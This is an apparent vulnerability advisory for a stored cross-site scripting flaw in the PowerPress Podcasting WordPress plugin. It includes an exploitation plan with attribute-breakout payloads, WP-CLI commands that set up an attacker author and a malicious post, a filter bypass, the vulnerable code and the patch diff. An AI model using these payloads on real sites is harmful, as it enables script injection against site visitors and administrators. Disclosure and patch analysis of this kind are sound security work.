PowerPress Podcasting <= 11.15.13 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The PowerPress Podcasting plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 11.15.13 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=11.15.13What Changed in the Fix
Changes introduced in v11.15.14
Source Code
WordPress.org SVNThis research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPress Podcasting plugin, specifically within its shortcode handling logic. ### 1. Vulnerability Summary The PowerPress Podcasting plugin fails to sufficiently sanitize and escape attributes provided in its shor…
Show full research plan
This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the PowerPress Podcasting plugin, specifically within its shortcode handling logic.
1. Vulnerability Summary
The PowerPress Podcasting plugin fails to sufficiently sanitize and escape attributes provided in its shortcodes, such as [display_podcast] and [powerpress]. While the plugin attempts to filter out javascript: URIs using a blacklist approach in powerpress_shortcode_handler, it does not escape the attributes before they are rendered in HTML contexts (such as <img> tags or media player wrappers). This allows an authenticated user with at least Author-level privileges to inject malicious HTML attributes (e.g., onerror, onmouseover) or break out of HTML attributes to inject <script> tags.
2. Attack Vector Analysis
- Shortcode:
[display_podcast](and likely[powerpress]). - Vulnerable Attributes:
image,width,height. - Authentication Level: Author (level required to create or edit posts and use shortcodes).
- Payload Location: The
post_contentfield of a WordPress post or page. - Preconditions: The
process_podpresssetting must be enabled for the[display_podcast]shortcode to be active (this is a common configuration for users migrating from PodPress).
3. Code Flow
- Entry Point: An Author creates a post containing a shortcode like:
[display_podcast url="..." image="x\" onerror=\"alert(1)\""] - Processing: When the post is rendered, WordPress calls
do_shortcode(), which triggers the registered callback fordisplay_podcast:powerpress_shortcode_handler(defined inpowerpress-player.php). - Blacklist Filter: In
powerpress_shortcode_handler, the code attempts to filter attributes:
This only checks if the value starts with$attributes = array_filter($attributes, function ($var) { $var_without_whitespace = preg_replace("/\s+/", "", $var); if (strpos($var_without_whitespace, 'javascript:') === 0) { return ''; // Removes the attribute if it starts with javascript: } else { return $var; } });javascript:. It does not prevent attribute breakout using quotes. - Extraction:
extract( shortcode_atts( ..., $attributes ) );assigns the maliciousimagevalue to the$imagevariable. - Sink: The
$image,$width, and$heightvariables are passed into an array and sent to thepowerpress_playerfilter:$return .= apply_filters('powerpress_player', '', ..., array(..., 'image'=>$image, 'width'=>$width, 'height'=>$height) ); - Rendering: Functions hooked to
powerpress_player(likepowerpressplayer_mediaobjects_videoorpowerpressplayer_mediaobjects_audio, registered inpowerpressplayer_init) use these values to construct HTML. Based on the vulnerability report, these functions output the variables without usingesc_attr(), leading to XSS.
4. Nonce Acquisition Strategy
No nonce is required.
Shortcodes are processed server-side during the rendering of post content. Any user who can view the post (including guests) will trigger the execution of the stored payload. The "Author" role is only required to store the payload initially via the standard WordPress post editor.
5. Exploitation Strategy
The goal is to inject a payload that executes when a user views the post.
- Setup the Plugin Setting: Enable the compatibility shortcode if necessary.
- Create the Post: Use
wp_cli(as the agent) to create a post as an Author with the malicious shortcode. - Trigger Execution: Use
http_requestto browse to the post's permalink and verify the script executes.
Payload:
We will use the image attribute to break out of a src or poster attribute.image='x" onmouseover="alert(document.domain)" style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;"'
This payload is designed to cover the entire screen, ensuring the onmouseover event is triggered immediately.
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password - Enable PodPress Processing:
The[display_podcast]shortcode is only registered ifprocess_podpressis set.wp option patch insert powerpress_general process_podpress 1 - Create the Malicious Post:
AUTHOR_ID=$(wp user get attacker --field=ID) wp post create --post_type=post --post_status=publish --post_author=$AUTHOR_ID \ --post_title="Podcast Episode" \ --post_content='[display_podcast url="https://media.blubrry.com/blubrrypreview/content.blubrry.com/blubrrypreview/transcript_test_episode.mp3" image="x\" onmouseover=\"alert(document.domain)\" style=\"position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999;background:rgba(255,0,0,0.1);\""]'
7. Expected Results
When viewing the post, the generated HTML will contain a player element with an attribute breakout. For example:
<img src="x" onmouseover="alert(document.domain)" style="position:fixed;..." ...>
Or, if used in a video poster:
<video poster="x" onmouseover="alert(document.domain)" ...>
The browser will execute alert(document.domain) when the mouse moves over the page.
8. Verification Steps
- Identify Post URL:
POST_URL=$(wp post list --post_type=post --title="Podcast Episode" --field=url) - Request Post Content: Use the
http_requesttool to fetch thePOST_URL. - Inspect Response: Search the response body for the string:
onmouseover="alert(document.domain)"
Confirm it is rendered outside of the expected attribute quotes.
9. Alternative Approaches
If [display_podcast] is restricted or the payload is blocked by another filter:
- Try
widthorheightattributes:[display_podcast url="..." width='100%" onmouseover="alert(1)"'] - Try the
[powerpress]shortcode: Although registration isn't in the provided snippet, it is the plugin's primary shortcode and likely shares thepowerpress_shortcode_handlercallback or similar logic. - Bypass
javascript:filter: If the sink is within asrcattribute of an<a>or<iframe>tag, useja v\nascript:alert(1)(with whitespace) to bypass thestrpos(..., 'javascript:') === 0check, as the plugin only removes whitespace before checking the prefix.
Summary
The PowerPress Podcasting plugin is vulnerable to Stored Cross-Site Scripting via shortcode attributes and embed fields due to insufficient input validation and output escaping. Authenticated attackers with Author-level privileges can inject malicious scripts into posts via attributes like 'image' in the [display_podcast] shortcode or via the podcast embed field, which execute in the browser of any user viewing the affected page.
Vulnerable Code
// powerpress-player.php lines 133-145 if (is_array($attributes)) { $attributes = array_filter($attributes, function ($var) { $var_without_whitespace = preg_replace("/\s+/", "", $var); if (strpos($var_without_whitespace, 'javascript:') === 0) { return ''; } else { return $var; } }); } --- // powerpress.php line 411 if ($EpisodeData && !empty($EpisodeData['embed'])) { $new_content .= trim($EpisodeData['embed']); if (!empty($GeneralSettings['embed_replace_player'])) $AddDefaultPlayer = false; }
Security Fix
@@ -2302,8 +2302,6 @@ if( !defined('WP_ADMIN') ) require_once(ABSPATH . 'wp-admin/includes/admin.php'); -wp_admin_css( 'css/global' ); -wp_admin_css(); if( $jquery ) wp_enqueue_script('utils'); @@ -2370,8 +2368,6 @@ if( !defined('WP_ADMIN') ) require_once(ABSPATH . 'wp-admin/includes/admin.php'); -wp_admin_css( 'css/global' ); -wp_admin_css(); if( $jquery ) wp_enqueue_script('utils'); @@ -6902,7 +6902,7 @@ $embed = preg_replace('/width="(\d{1,4})"/i', 'width="100%"', $embed ); echo '<div class="powerpressNewsPlayer">'; - echo $embed; + echo SanitizeEmbed($embed); echo '</div>'; } else if( $first_item ) @@ -408,7 +408,7 @@ $AddDefaultPlayer = empty($EpisodeData['no_player']); if ($EpisodeData && !empty($EpisodeData['embed'])) { - $new_content .= trim($EpisodeData['embed']); + $new_content .= SanitizeEmbed(trim($EpisodeData['embed'])); if (!empty($GeneralSettings['embed_replace_player'])) $AddDefaultPlayer = false; } @@ -608,6 +608,69 @@ } } +function SanitizeEmbed($html) { + $dom = new DOMDocument(); + libxml_use_internal_errors(true); + // force UTF-8 encoding + $html_encoded = '<?xml encoding="UTF-8"><div>' . $html . '</div>'; + $dom->loadHTML($html_encoded, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); + $allowed_tags = ['iframe', 'div']; + $allowed_attrs = ['src', 'width', 'height', 'frameborder', 'allow', 'sandbox', 'referrerpolicy', 'loading', 'allowfullscreen', 'title', 'scrolling', 'alt']; + + $xpath = new DOMXPath($dom); + $nodes = $xpath->query('//*'); + + for ($i = $nodes.length - 1; $i >= 0; $i--) { + $node = $nodes->item($i); + // remove unauthorized tags + if (!in_array($node->nodeName, $allowed_tags)) { + $node->parentNode->removeChild($node); + continue; + } + + // clean attributes + if ($node->hasAttributes()) { + $attrsToRemove = []; + foreach ($node->attributes as $attr) { + // remove unauthorized attributes + if (!in_array($attr->name, $allowed_attrs)) { + $attrsToRemove[] = $attr->name; + continue; + } + + // remove any attributes with xss + $bad_schemes = [ + 'javascript:', + 'vbscript:', + 'data:', + 'file:', + 'mhtml:' + ]; + foreach ($bad_schemes as $scheme) { + if (stripos($attr->value, $scheme) !== false) { + $attrsToRemove[] = $attr->name; + continue 2; + } + } + } + // Remove the bad attributes we found + foreach ($attrsToRemove as $attrName) { + $node->removeAttribute($attrName); + } + } + } + + // remove the wrapper + $container = $dom->getElementsByTagName('div')->item(0); + $output = ''; + if ($container) { + foreach ($container->childNodes as $child) { + $output .= $dom->saveHTML($child); + } + } + return $output; +} + function powerpress_check_for_chartable() { @@ -4162,7 +4225,7 @@ if( $EpisodeData && !empty($EpisodeData['embed']) ) { // powerpress.php @ 11.15.13 line 4165 - $new_content .= trim($EpisodeData['embed']); + $new_content .= SanitizeEmbed(trim($EpisodeData['embed'])); if( !empty($GeneralSettings['embed_replace_player']) ) $AddDefaultPlayer = false; } @@ -5493,7 +5556,7 @@ $AddDefaultPlayer = true; if( !empty($EpisodeData['embed']) ) { - $recipienteturn .= $EpisodeData['embed']; + $recipienteturn .= SanitizeEmbed($EpisodeData['embed']); if( !empty($GeneralSettings['embed_replace_player']) ) $AddDefaultPlayer = false; } @@ -168,7 +168,7 @@ } $EpisodeData = powerpress_get_enclosure_data($post_id, $channel); if( !empty($EpisodeData['embed']) ) - $return = $EpisodeData['embed']; + $return = SanitizeEmbed($EpisodeData['embed']); // Shortcode over-ride settings: if( !empty($image) ) @@ -266,7 +266,7 @@ continue; if (!empty($EpisodeData['embed'])) - $return .= $EpisodeData['embed']; + $return .= SanitizeEmbed($EpisodeData['embed']); // Shortcode over-ride settings: if (!empty($image)) @@ -1103,7 +1103,7 @@ } else if( !empty($EpisodeData['embed']) ) { - echo $EpisodeData['embed']; + echo SanitizeEmbed($EpisodeData['embed']); } else // if( !isset($EpisodeData['no_player']) ) // Even if there is no player set, if the play in new window option is enabled then it should play here...
Exploit Outline
To exploit this vulnerability, an attacker requires Author-level permissions or higher to create or edit WordPress posts. 1. The attacker creates a new post or edits an existing one. 2. The attacker inserts a shortcode such as `[display_podcast]` or `[powerpress]` containing a malicious attribute. For example: `[display_podcast image="x\" onerror=\"alert(document.domain)\""]`. The attribute payload uses a double quote to break out of the HTML attribute context (e.g., the `src` or `poster` attribute of an image or video tag). 3. Alternatively, if the attacker can modify the podcast episode's 'embed' field, they can inject arbitrary HTML/scripts that are echoed directly by the plugin. 4. Once the post is saved and published, the plugin's shortcode handler processes the attributes but fails to sanitize them. When a user (including administrators) views the post, the injected event handler (like `onerror`) or script executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.